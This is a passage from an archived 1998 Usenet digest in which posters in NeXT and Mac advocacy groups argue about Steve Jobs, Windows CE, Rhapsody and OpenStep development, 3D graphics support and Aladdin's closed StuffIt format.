have shown a profit faster than NeXT did and for an only slightly larger
sunk cost. Perhaps it is part of Steve's longterm plan to follow in the
NeXT pattern and kill the only product that you have in a market months
before you have a replacement ready. If he sticks to plan he should be
able to sell the product for a few hundred million around 2002 to some
sucker who he will then advise out of a job.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 20 Apr 1998 20:59:01 GMT
Organization: Digital Fix Development
Message-ID: <6hgcul$4fj$1@news.digifix.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179>
In-Reply-To: <B16047C4-53E31@206.165.43.179>
On 04/19/98, "Lawson English" wrote:
>Don Arbow <don_arb@wolfenet.com> said:
>
>>
>> Don't forget stock at or near a 52 week high, doubled within a
year...
>>
>
>
>
>Don't forget that we no longer have future development on 2 of the
top 5
>productivity apps for the Mac: QUicken.
And how did Jobs accomplish this?
Do you think he pulled Bill Campbell aside at a board meeting
and asked him to kill it?
Oh yeah, its Lawson.. of course you do.
Note: I've trimmed followups.. Why Steve "Macghod,NeXT Newbie"
Sullivan crossposts everything to the powerplant groups is beyond me.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: WinCE vs. special OS for PDAs (Was: Re: IMPEACH JOBS)
Date: 20 Apr 1998 21:28:56 GMT
Organization: Brandeis University - Computer Science Dept.
Distribution: world
Message-ID: <6hgemo$9c8$1@new-news.cc.brandeis.edu>
References: <joe.ragosta-2004980636330001@elk52.dol.net> <6hfg4n$6vu@btmpjg.god.bel.alcatel.be>
In article <6hfg4n$6vu@btmpjg.god.bel.alcatel.be> suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de writes:
>Joe Ragosta writes
>> In article <353A9047.BD0C1EAE@milestonerdl.com>, mark@milestonerdl.com wrote:
>> > And a MacOS based portable is better than the Newton HOW WRT WinCE
>compeition?
>>
>> Several things--mostly related to marketing. WinCE is convincing people
>> that you don't need a different OS on your PDA. Whether this claim is
>> nonsense or not is beside the point. People are starting to expect their
>> PDA screen to look just like their computer screen.
>>
>> There are probably some advantages in software availability and data
>> translation, as well.
>>
>No, there are none. No Windows application runs on Windows CE.
>It is like if you put a posix library on Amiga-OS and call it Unix.
There is a subtle advantage to Wince over, say, EPOC 32. MFC - Microsoft
Foundation Classes. Developers have a much smaller learning curve to
bring an app to a Wince device than to a Psion. They get to use the same
development tools. This fact is constantly overlooked in PDA debates...
>WindowsCE PDAs (with the Win GUI incl. a keyboard) are a big waste
>of CPU, memory, display space, and energy. It'll be the same as with
>Windows - people will buy the hardware because it has a 80MHz CPU
>instead of 16MHz, 8 MBytes of RAM instead of 1MByte and a 320x256
>screen instead of 160x160, and THEY WILL NOT RECOGNIZE that the
>machine is slower, the apps in RAM have less functions, they can
>store less information, and they can see less information on the
>screen than with OSs designed for PDAs, like PalmOS.
It's not even that, hardware issues aside (becuase a lot of Wince 2.0
hardware is, unfortunately, quite nice), Wince is the worst of both
worlds, stuck with all the low-productivity aspects of a desktop OS
shoe-horned into a handheld. Under the hood, Wince has nothing going for
it other than MFC which serves no purpose other than to sell more MS
developer tools and encorage ports of pre-existing Windows apps. A
strategicially sound move on MS's part.
>Why do you think they will not recognize it? Because they will not
>know the alternative systems. People's natural ignorance is the main
>reason of natural monopolies ;-)
Of course, and MS has no intention of truly empowering their users,
because a truly empowered user would make a truly good choices and choose
otherwise. Better to spread ignorance and breed a culture of FUD and
power monoplies all the way down to the end-user level.
>The only thing they will probably recognize is that their PDAs
>batteries will quit after 2-4 Hours of work compared to tens of
>hours for traditional PDAs (I'm replacing batteries once a year
>in my Casio SF4600B). So there is still hope they will keep
>buying notebooks and WindowsCE will fail (again).
Spurred by the Japanese, more Toshiba Libretto-style handheld Pentium
machines are coming out, and really, why would anyone choose Wince over
Windows in the same form factor? Wince has little value-added over
Windows other than a major push that's sticking it in Sega's next game
system, car radios, and who knows what appliances. Whether any of this
will lead to anything significant has yet to be seen, but this is
Microsoft's third time up to bat with a handheld OS (first was stillborne,
second a failure, and Wince is all anyone remembers). It usually takes
Microsoft three attempts to mind-wash people into buying into them.
Microsoft has done a very good of confusing consumers. Newton is a great
device to market to independant thinkers who realize the inherent value in
a good solution. Problem is, many people who would buy a handheld aren't
that type of person. MacOS in a handheld will work much better for the
unwashed masses (for better or for worse). And arguably, in the
not-so-distant future most handhelds may have just a flavor of desktop
operating systems running on shrunk-down desktop hardware architectures,
anyway.
--
Nathan Raymond
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: "R. Kirk McPike" <rkirkmcp@nkn.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Mon, 20 Apr 1998 16:38:41 -0500
Organization: Kirk's Right Wing Militia
Message-ID: <353BC05C.673D90C7@nkn.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179>
<joe.ragosta-2004980639400001@elk52.dol.net> <353B9469.3FF3DEA@nkn.net> <6hg4j3$hn5$1@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
To: jrudd@cygnus.com
John Rudd wrote:
> In <353B9469.3FF3DEA@nkn.net> "R. Kirk McPike" wrote:
> >
> >
> > Joe Ragosta wrote:
> >
> > > In article <B16047C4-53E31@206.165.43.179>, "Lawson English"
> > > <english@primenet.com> wrote:
> > >
> > > > Don Arbow <don_arb@wolfenet.com> said:
> > > >
> > > > >
> > > > > Don't forget stock at or near a 52 week high, doubled within a
> year...
> > > > >
> > > >
> > > >
> > > >
> > > > Don't forget that we no longer have future development on 2 of the top
> 5
> > > > productivity apps for the Mac: QUicken.
> > >
> > > Hmmm. Quicken suddenly became _TWO_ applications?
> > >
> > > Good argument against QD GX--it makes you lose your ability to count.
> >
> > There are two versions of Quicken if I remember correcty. A basic version
> and
> > a more full featued one.
> >
> > KIrk
> >
> >
>
> To most poeple, that's 2 versions of one application, not two applications
> :-)
But it shows up as two apps on a list of bestsellers. That's what Lawson is
saying.
Kirk
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 20 Apr 1998 21:34:32 GMT
Message-ID: <01bd6cde$5aa2cc40$24f0bfa8@davidsul>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul> <slrn6jk4ch.rln.sal@panix3.panix.com> <01bd6bf8$ee914080$15f0bfa8@davidsul> <6hg5an$57p$12@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote in article
<6hg5an$57p$12@ironhorse.plsys.co.uk>...
> In <01bd6bf8$ee914080$15f0bfa8@davidsul> Mr Sullivan, aka "NeXT Newbie"
> wrote:
>
> > But this is getting off the issue. For developer who want to develop
for
> > rhapsody HAVING rhapsody is at least a teeny weeny bit important
> >
> Absolutely, it's only a teeny weeny bit important, since it's possible to
get
> OPENSTEP without having to get Rhapsody...
So a OPENSTEP program will run on rhapsody? I do not know the specifics on
rhapsody, and hopefully you can explain them, but I figured that since
OPENSTEP will be given a mac front end, one would need to know the rhapsody
api calls to give their rhapsody app a rhapsody gui, which I understand
will be a different gui than what OPENSTEP has, ie a more mac like gui?
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 20 Apr 1998 22:22:08 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6hghqg$ajt$1@new-news.cc.brandeis.edu>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3>
>In article <rex-2004981525550001@192.168.0.3> rex@smallandmighty.com (Eric King) writes:
>In article <353B6C07.30F97F82@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
[snip]
>:The various OpenGL Quake Editors make nice demos for my $150 FireGL 1000
>:Pro, as do SoftImage, Alias/Wavefront, and 3D Studio Max. What is Jobs
>:planning to do about this?
>
> Probably nothing interesting in the near future. My guess is he'll
>dodge any questions about Apple's 3D directions by mentioning how nifty
>Quicktime 3.0 is. Apple's so far behind in the 3D hardware race, I doubt
>they'll ever be able to catch up. Of course, everything's going to be
>peachy because developers can whip together a word processor in 5
>minutes...
Apple's not in the 3D hardware race. They've developed a comprehensive
set of extensible 3D APIs that offer a high degree of abstraction. QD3D
could act as the superset for OpenGL if Apple went in that direction.
(Perhaps Microsoft's part ownership of OpenGL is slowing them?) And
besides, the big mover and shaker in the 3D industry is 3Dfx with its
Glide API and Voodoo chipset that in most incarnations can't even share
the screen with 2D graphics.
Rhapsody in no way impedes 3D, but if Apple integrated OpenGL support and
third party vendors offered higher end cards, things would look better.
It'd also be nice to see RenderMan support built in again.
--
Nathan Raymond
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 20 Apr 1998 17:29:33 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6hgico$h181@odie.mcleod.net>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul> <slrn6jk4ch.rln.sal@panix3.panix.com> <01bd6bf8$ee914080$15f0bfa8@davidsul> <6hg5an$57p$12@ironhorse.plsys.co.uk> <01bd6cde$5aa2cc40$24f0bfa8@davidsul>
NeXT Newbie wrote in message <01bd6cde$5aa2cc40$24f0bfa8@davidsul>...
>So a OPENSTEP program will run on rhapsody? I do not know the specifics on
>rhapsody, and hopefully you can explain them, but I figured that since
>OPENSTEP will be given a mac front end, one would need to know the rhapsody
>api calls to give their rhapsody app a rhapsody gui, which I understand
>will be a different gui than what OPENSTEP has, ie a more mac like gui?
>
Why would I need any new API calls to change my GUI for Rhapsody? You do
realize that typical Openstep applications are no different in source code
between Openstep for Mach and Openstep for Windows. I would guess (I am not
saying NDA) that the Rhapsody GUI requires little or no code changing. Why
is the whole idea of object streams and code less GUIs so foreign to
everybody but Openstep users ?
Date: Mon, 20 Apr 1998 15:18:45 -0500
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Message-ID: <alex-2004981518450001@castle.webis.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179>
Organization: Web Information Solutions---Interactive and database web design studio
In article <B16047C4-53E31@206.165.43.179>, "Lawson English"
<english@primenet.com> wrote:
: Don Arbow <don_arb@wolfenet.com> said:
:
: >
: > Don't forget stock at or near a 52 week high, doubled within a year...
: >
:
:
:
: Don't forget that we no longer have future development on 2 of the top 5
: productivity apps for the Mac: QUicken.
:
I agree that is very bad, but I think that it would have been much worse
without Jobs.
--
Web Information Solutions CEO <http://www.WebIS.net>
VersaCom Chief Technology Officer <http://www.VersaCom.com>
I don't speak for my employer, which oddly enough is myself
From: NOSPAMMjamesl@io.com (James Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.newton.misc
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 13:55:19 -0800
Organization: The Digital Group
Sender: jamesl@orange.legato.com
Message-ID: <NOSPAMMjamesl-2004981355190001@orange.legato.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <353B172A.2761@london.virgin.net> <MPG.fa4876a49b5a7429898ba@news.supernews.com> <353B6A4E.3C0D69C2@milestonerdl.com>
Gang- this has little to do with PowerPlant
--
---
NOSPAMMjamesl@io.com
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Mon, 20 Apr 1998 16:01:15 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353BB79B.70B5@CONVEX.COM>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146> <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Eric King wrote:
> :Quick question: how is Rhapsody handling the interface between DPS and
> :an optimized-for-hardware library like OpenGL or Direct3D? Is DPS
> :capable of handing rendering tasks off to individual hardware
> :renderering APIs (I understand GX was capable of this)?
>
> Apple has technology that allows libraries to bypass DPS. Quicktime is
> going to use it, and presumbably OpenGL whenever Apple gets around to
> formally announcing support for it. A better question to ask is when will
> Apple have a *good* OpenGL implementation with hardware to back to it up.
> My guess is not any time soon.
Do you mean Interceptor? Assuming you do, can somebody point me to a
NeXTAnswers article on the subject? This is the only thing I could find
online:
[quote]
To take advantage of Interceptor and get maximum graphics performance,
make sure that the SoftPC window isn't at
all obscured by any NEXTSTEP elements, including windows, menus, panels,
or the dock. The reason is that the
Interceptor relies on the window server's clipping mechanism to limit
drawing to visible areas. When the SoftPC
window is partially obscured, window contents are passed to the window
server and clipped before being displayed.
[/quote]
This doesn't sound like real windowserver/dma integration. Compare this
reliance on VGA artifacts to the real 2d/3d or 2d/other integration
found on modern display adapters. Simply assuming direct access to the
VGA hardware is a fairly outdated notion, and (correct me if I'm
mistaken) it's the notion on which Interceptor is based.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: 20 Apr 1998 19:40:45 GMT
Organization: I don't think so
Message-ID: <slrn6jn9bp.98n.jason@jhste1.dyn.ml.org>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net> <ericb-1604981500320001@132.236.171.104> <35365DB6.4D5C@CONVEX.COM> <ericb-1804981748460001@132.236.171.104> <353B907D.3ED9@CONVEX.COM>
Michael Peck wrote:
>As I write this, I despair of a successful Constitutional challenge. It
>appears that the three-ring regulatory circus has gained another
>inexplicable ally: Robert Bork. If anyone can demonstrate a
>Constitutional basis for _anything_, it's Bork.
That Bork is on the bandwagon should tell you something. The only Bork
I've read were snippets in my antitrust casebook from law school, but
he came across as _very_ conservative on these issues. If _he_ thinks
that Microsoft has crossed the line, well...
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Mon, 20 Apr 1998 14:50:54 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353BA71E.FD9@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net> <ericb-1604981500320001@132.236.171.104> <35365DB6.4D5C@CONVEX.COM> <ericb-1804981748460001@132.236.171.104> <353B907D.3ED9@CONVEX.COM> <slrn6jn9bp.98n.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
>
> Michael Peck wrote:
>
> >As I write this, I despair of a successful Constitutional challenge. It
> >appears that the three-ring regulatory circus has gained another
> >inexplicable ally: Robert Bork. If anyone can demonstrate a
> >Constitutional basis for _anything_, it's Bork.
>
> That Bork is on the bandwagon should tell you something. The only Bork
> I've read were snippets in my antitrust casebook from law school, but
> he came across as _very_ conservative on these issues. If _he_ thinks
> that Microsoft has crossed the line, well...
Hence the distinction between traditional conservatives and libertarian
conservatives (I owe Eric Dubiel an apology for changing my view on
this). Bork has evidently abandoned any sympathy he once had for
libertarian politics. For further clarification I highly recommend the
book review I just found:
http://www.reasonmag.com/9704/fe.olson.html
That Bork is on the bandwagon is actually gross confirmation of the
nature of this lawsuit, given recent information regarding Bork. I
haven't read his book (_Slouching Towards Gomorrah_) yet, but I'm
beginning to think I should (out of dark fascination :).
In a related aside, I was browsing the archives of an antitrust law
mailing list today, and it appears that Bork has classically been quite
opposed to antitrust medicine, and his proteges (Silberman, Randolph)
have been equally opposed to regulatory action. Rather than "If Bork
believes in this one...", my reaction is actually more like "Lo, how the
mighty have fallen..."
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 20:55:58 GMT
Organization: Digital Fix Development
Message-ID: <6hgcou$4bf$1@news.digifix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353B2813.27582807@milestonerdl.com>
In-Reply-To: <353B2813.27582807@milestonerdl.com>
On 04/20/98, M Rassbach wrote:
>
>
>Scott Anguish wrote:
>
>> On 04/18/98, "NeXT Newbie" wrote:
>> >We have all heard about all of Jobs pecadillos, about how he
screwed
>> THe
>> >Woz out of $200, about how he cusses people out, and quite frankly
>> its time
>> >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins
simply
>> Gil's Accuracy
>>
>> Woz already commented on the accuracy of Amelio's take. He
>> got the dollars wrong,
>
>But what was widely reported was that he WAS shorted cash and lied to
was
>confirmed. And Woz was enuf of a man to still be OK with Steve.
>
True.
<snip>
>> Can you say the same?
>
>Hint: Most ppl who run multi-billon dollor companies don't read
netnews.
>And odds are don't read groups like this. So, why are your asking
this
>question?
>
Hint... I wasn't directing this at Steve Jobs..
This question was directed at the original poster in this
thread... MacGhod, or NeXT Newbie, or Steve Sullivan, or whatever the
hell he wants to call himself.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <353a6aa6.0@news.cyberway.com.sg>
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From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 03:30:40 GMT
Organization: Digital Fix Development
Message-ID: <6hh3t0$c1l$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com>
In-Reply-To: <353C030C.A48C6D2E@milestonerdl.com>
On 04/20/98, M Rassbach wrote:
>
>
>NeXT Newbie wrote:
>
>> I read that Alladin is not cooperating with Scott Anguish on his
excellent
>> program OpenUp.
>
>The simple solution is to provide a BETTER solution than Alladin and
give it
>away. And be sure to note that you did this BECAUSE of the attitude
Alladin
>had.
>
>
This doesn't help the users who have legacy .sit files, or
have to work in an environment that uses .sit files.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Gates breaks 98
Date: 21 Apr 1998 03:32:24 GMT
Organization: @Home Network
Message-ID: <6hh408$2je$3@ha2.rdc1.sdca.home.com>
References: <01bd6cb4$b88b4550$04387880@test1>
Mime-Version: 1.0
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Cc: todd@NetSQ.com
In <01bd6cb4$b88b4550$04387880@test1> "Todd Heberlein" wrote:
> Bill Gates crashed Windows 98 during demonstration. For more information,
> see
>
>
The promise of handwriting and speech recognition sounded desperate gasps to
hold onto their customer's faith...
color me jaded...
-r
Rex
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 16:17:41 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353BBB75.2C677724@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353B2813.27582807@milestonerdl.com> <6hgcou$4bf$1@news.digifix.com>
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Scott Anguish wrote:
> Hint... I wasn't directing this at Steve Jobs..
>
> This question was directed at the original poster in this
> thread... MacGhod, or NeXT Newbie, or Steve Sullivan, or whatever the
> hell he wants to call himself.
And one in your direction:
If Gil was so bad, why DID Apple buy NeXT?
(This whole thing GREATLY expands OpenStep....although where it's going is
up in the air. And I'm doubting it will hit anything hard and stick there
for some time)
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 20 Apr 1998 22:55:59 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353C18CF.59F87E7C@nstar.net>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM> <slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net> <slrn6jk439.rln.sal@panix3.panix.com> <353B8C11.1CF4@CONVEX.COM>
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Michael Peck wrote:
> > You can change the 80*25 default.
>
> Sweet. How?
Whoa! Before I get the *CRAP* flamed out of me by some NT user, I should
point out that this is configurable via some *really* obvious settings
in the (duh) Console control panel.
MJP
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 20 Apr 1998 15:59:50 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2004981559500001@dante.eng.uci.edu>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul> <slrn6jk4ch.rln.sal@panix3.panix.com> <01bd6bf8$ee914080$15f0bfa8@davidsul> <6hg5an$57p$12@ironhorse.plsys.co.uk> <01bd6cde$5aa2cc40$24f0bfa8@davidsul> <6hgico$h181@odie.mcleod.net>
In article <6hgico$h181@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
>Why is the whole idea of object streams and code less GUIs so foreign to
>everybody but Openstep users ?
Because it *is* so foreign to everybody but Openstep users. Who else
really offered those concepts to the mainstream?
-Bob Cassidy
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 20 Apr 1998 20:19:02 -0400
Organization: THe Small & Mighty Group
Distribution: world
Message-ID: <rex-2004982019030001@192.168.0.3>
References: <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de> <slrn6jk4ch.rln.sal@panix3.panix.com> <slrn6jk5no.rln.sal@panix3.panix.com> <6hfvfu$4d4@nrtphc11.bnr.ca>
In article <6hfvfu$4d4@nrtphc11.bnr.ca>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
:In article <B15D1508-574C5@206.165.43.62> Lawson English,
:english@primenet.com writes:
:>I rather suspect that developers of an application that compresses files
:>need to have access to the most up-to-date version of hte OS, especially
:>when the file-format radically changes.
:
:
:
:Lawson, what changes to *FILE* format? HFS+ is a disk format, not a file
:format change.
You should do a bit more research. HFS+ includes long file name and
unicode support. Support for those would require changes in Stuffit.
Probably not major changes, but changes none-the-less.
-Eric
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Petition to Alladin?
Date: 21 Apr 1998 01:34:20 GMT
Message-ID: <01bd6cff$da3af880$23f0bfa8@davidsul>
I read that Alladin is not cooperating with Scott Anguish on his excellent
program OpenUp. This program is a comprehensive decompression package for
the yellowbox, and since .sit is so popular on the mac, he (so I have read)
wants to incorporate decompressing .sit into his program, but (from what I
have read) Alladin is not cooperating. Now of course they have every right
to keep this propriertary, but I think we should encourage Alladin to
cooperate. Has their been any effort to do this? Who can we email?
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Gates breaks 98
Date: 21 Apr 1998 01:42:50 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6cb4$b88b4550$04387880@test1>
Bill Gates crashed Windows 98 during demonstration. For more information,
see
o http://www.news.com/News/Item/0,4,21284,00.html?st.ne.fd.mdh
o http://news.bbc.co.uk/hi/english/special_report/1998/04/98/
microsoft/newsid_81000/81155.stm
Todd
PS. Glue the two lines for the second URL together in your URL field.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Tue, 21 Apr 1998 01:53:14 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <353BFC0A.CF65C0D9@nstar.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul>
Mime-Version: 1.0
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NeXT Newbie wrote:
>
> I read that Alladin is not cooperating with Scott Anguish on his excellent
> program OpenUp. This program is a comprehensive decompression package for
> the yellowbox, and since .sit is so popular on the mac, he (so I have read)
> wants to incorporate decompressing .sit into his program, but (from what I
> have read) Alladin is not cooperating. Now of course they have every right
> to keep this propriertary, but I think we should encourage Alladin to
> cooperate. Has their been any effort to do this? Who can we email?
The ability to read and write the StuffIt format would be useful for a
large number of markets, not just for OpenUp. I would sure appreciate it
if the UNIX-based macunpack could read a modern StuffIt file.
I think Aladdin could (and should) be convinced that opening up the
StuffIt file specs would be to their benefit, as gzip and zip formats
are both cross-platform and open, and threaten to wipe away the last
traces of Aladdin's proprietary format. It is to nobody's benefit to
protect proprietary file formats when those formats are used for file
interchange in a post-Internet industry.
MJP
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Mon, 20 Apr 1998 22:17:43 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353C0FD7.B490AEAB@milestonerdl.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com>
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Scott Anguish wrote:
> On 04/20/98, M Rassbach wrote:
> >
> >
> >NeXT Newbie wrote:
> >
> >> I read that Alladin is not cooperating with Scott Anguish on his
> excellent
> >> program OpenUp.
> >
> >The simple solution is to provide a BETTER solution than Alladin and
> give it
> >away. And be sure to note that you did this BECAUSE of the attitude
> Alladin
> >had.
> >
> >
>
> This doesn't help the users who have legacy .sit files, or
> have to work in an environment that uses .sit files.
Beat them at their own game.
If your code hits a .sit, you ask the user if they want you to convert
the .sit to the new OPEN format. You pass the .sit to the already
installed Alladin on the users box. You take the un-compressed files and
re-compress them. Then delete the the .sit (or not) and the uncompressed
file.
Make it handle a drag-n-drop of entire directorys....so users can convert
their entire structure to the open standard.
You have an opening.... claim your compression 'standard' is the way user
should deal with YellowBox code. And why? Well, because Alladin did
not support Unix/YellowBox.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: FYI: MS Development program
Date: Mon, 20 Apr 1998 21:27:19 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d7r80j.bqjakajc65j4N@sextans129.wco.com>
References: <01bd6a2b$12d57940$04387880@test1> <3538dff2.0@206.25.228.5> <1d7qbbr.uh2o3fpmzzcwN@cetus206.wco.com> <353a8a01.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
> I don't see that as a problem. Of course the strategic business
> decision makers at Apple feel differently. All I can say is that
